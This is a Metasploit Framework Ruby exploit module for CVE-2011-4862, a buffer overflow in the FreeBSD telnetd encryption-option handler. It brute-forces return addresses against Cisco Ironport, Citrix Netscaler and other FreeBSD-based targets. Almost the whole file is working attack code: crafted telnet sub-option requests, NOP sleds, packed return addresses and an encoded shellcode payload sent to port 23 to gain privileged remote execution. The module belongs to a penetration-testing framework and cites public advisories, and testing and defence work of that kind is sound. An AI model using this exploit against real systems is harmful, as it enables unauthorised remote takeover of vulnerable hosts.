##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD based telnetd encrypt_key_id brute force',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
FreeBSD telnet service.
},
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
'References' =>
[
['BID', '51182'],
['OSVDB', '78020'],
['CVE', '2011-4862'],
['URL', 'http://www.exploit-db.com/exploits/18280/']
],
'Privileged' => true,
'Payload' =>
{
'Space' => 128,
'BadChars' => "\x00",
},
'Platform' => [ 'bsd' ],
'Targets' =>
[
#
# specific targets
#
[ 'Cisco Ironport 7.x Bruteforce',
{
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x0805cffd },
'Stop' => { 'Ret' => 0x0805aa00 },
'Step' => 8
}
}
],
[ 'Citrix Netscaler 9.x',
{
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x0805bffd },
'Stop' => { 'Ret' => 0x08059000 },
'Step' => 8
}
}
],
[ 'Other FreeBSD based targets',
{
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x0805fffd },
'Stop' => { 'Ret' => 0x08050000 },
'Step' => 8
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2011'))
register_options(
[
Opt::RPORT(23),
], self.class )
end
def brute_exploit(addrs)
curr_ret = addrs['Ret']
begin
connect
sock.get_once
print_status('Initiate encryption mode ...')
req = ''
req << "\xff\xfa\x26\x00\x01\x01\x12\x13"
req << "\x14\x15\x16\x17\x18\x19\xff\xf0"
req << "\x00"
sock.put(req)
sock.get_once
req = ''
print_status("Trying return address 0x%.8x..." % curr_ret )
print_status('Sending first payload ...')
req << "\xff\xfa\x26\x07"
req << "\x00"
req << make_nops(71)
penc = payload.encoded.gsub("\xff", "\xff\xff")
req << [curr_ret].pack('V')
req << [curr_ret].pack('V')
req << make_nops(128)
req << penc
req << "\x90\x90\x90\x90"
req << "\xff\xf0"
req << "\x00"
sock.put(req)
sock.get_once
print_status('Sending second payload ...')
sock.put(req)
disconnect
handler
rescue
end
end
end
Polish
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